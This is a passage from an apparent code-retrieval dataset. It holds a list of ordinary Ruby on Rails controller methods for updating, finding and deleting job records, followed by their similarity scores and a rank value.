"def update\n @job = Job.find_by_job_number(params[:id])\n @job.client_id = params[:job][:client_id]\n\n # if any seeds file is uploaded, save the status to the job uploaded_seeds_file accessor\n @job.uploaded_seeds_file = true if params[:job][:seeds_definition_file].present?\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n if params[:job][:track_returns_type] == \"job\"\n @job.versions.each do |version|\n version.version_tracking_number = \"0000\"\n version.save\n end\n end\n\n if @job.errors.empty?\n if params[:job][:seeds_definition_file].present?\n flash[:notice] = 'Job was successfully updated. Please stand by as seeds are loaded and processed.'\n else\n flash[:notice] = 'Job was successfully updated'\n end\n else\n flash[:notice] = \"Job sucessfully updated with the following warnings: \" + @job.errors.full_messages[0,10].join(\"\\n\")\n end\n format.html { redirect_to job_url(@job) }\n format.xml { head :ok }\n else\n flash[:notice] = @job.errors.full_messages[0,10].join(\"\\n\")\n format.html { redirect_to edit_job_path(@job) }\n format.xml { render :xml => @job.errors.to_xml }\n end\n end\n end",
"def set_job\n @job = Job.find_by_id(params[:id])\n if @job == nil\n head :not_found\n end\n end",
"def update\n @sfjob = Sfjob.find(params[:id])\n\n respond_to do |format|\n if @sfjob.update_attributes(params[:sfjob])\n format.html { redirect_to @sfjob, notice: 'Sfjob was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sfjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @items_print_job = ItemsPrintJob.find(params[:id])\n\n respond_to do |format|\n if @items_print_job.update_attributes(params[:items_print_job])\n format.html { redirect_to(@items_print_job, :notice => 'Items print job was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @items_print_job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @locations = Location.find(:all, :conditions=>['user_id=?',current_user.id])\n params[:job][:existing_location_attributes] ||= {}\n\n @job = Job.find(params[:id])\n process_file_uploads(@job)\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n # format.html { redirect_to(show_job_path(@job.title.parameterize.downcase.wrapped_string,@job.id)) }\n format.html {redirect_to invest_funds_job_path(@job)}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def update\n respond_to do |format|\n if @job_runner.update_attributes(params[:job_runner])\n format.html { redirect_to(@job_runner, :notice => 'Job runner was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job_runner.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n authorize!(@job)\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @act_job.update(act_job_params)\n format.html { redirect_to @act_job, notice: 'Act job was successfully updated.' }\n format.json { render :show, status: :ok, location: @act_job }\n else\n format.html { render :edit }\n format.json { render json: @act_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @task = current_user.tasks.find(params[:id])\n # Tasks may not change job, so no assigment like the Create action\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n flash[:notice] = 'Task was successfully updated.'\n format.html { redirect_to job_url(@task.job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors.to_xml }\n end\n end\n end",
"def destroy\n node = @job.nodes.find(params[:id])\n @job.nodes.delete(node)\n\n respond_to do |format|\n format.html { redirect_to job_url(@job) }\n format.xml { head :ok }\n end\n end",
"def set_job\n @job = @company.jobs.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to mentor_job_path(@job), notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def set_job\n @job = Job.find(params[:id])\n end"
] |
[
"0.6630085",
"0.6558216",
"0.6558216",
"0.6558216",
"0.6536446",
"0.65334105",
"0.64888644",
"0.6390682",
"0.63784367",
"0.6359745",
"0.6359351",
"0.6359351",
"0.6359351",
"0.6358652",
"0.6320766",
"0.6320766",
"0.61899805",
"0.61413044",
"0.61285007",
"0.6108961",
"0.6103982",
"0.60902303",
"0.6081068",
"0.60757047",
"0.6027701",
"0.6000748",
"0.5999831",
"0.59859633",
"0.59776425",
"0.5977253",
"0.59755623",
"0.5940563",
"0.59291846",
"0.5916953",
"0.5913414",
"0.590513",
"0.58707815",
"0.58337367",
"0.58318675",
"0.5825015",
"0.58171827",
"0.5804178",
"0.5796651",
"0.5779494",
"0.57715976",
"0.57715976",
"0.57715976",
"0.57715976",
"0.57715976",
"0.57715976",
"0.57715976",
"0.57715976",
"0.57715976",
"0.57715976",
"0.57715976",
"0.57715976",
"0.57715976",
"0.57715976",
"0.5764777",
"0.5738368",
"0.5737354",
"0.5733814",
"0.573186",
"0.57306874",
"0.5730553",
"0.57233757",
"0.5720678",
"0.57201064",
"0.5705361",
"0.5704809",
"0.56801534",
"0.5672912",
"0.5664923",
"0.5651893",
"0.5630992",
"0.56263465",
"0.56254923",
"0.56064403",
"0.56064403",
"0.56064403",
"0.5605427",
"0.560169",
"0.5589662",
"0.55789685",
"0.5569024",
"0.5565119",
"0.556262",
"0.55557376",
"0.55517304",
"0.55370045",
"0.55333894",
"0.55299324",
"0.5524086",
"0.55220777",
"0.55202866",
"0.55105364",
"0.55099857",
"0.5500356",
"0.5500356",
"0.5500356"
] |
0.5726788
|
65
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.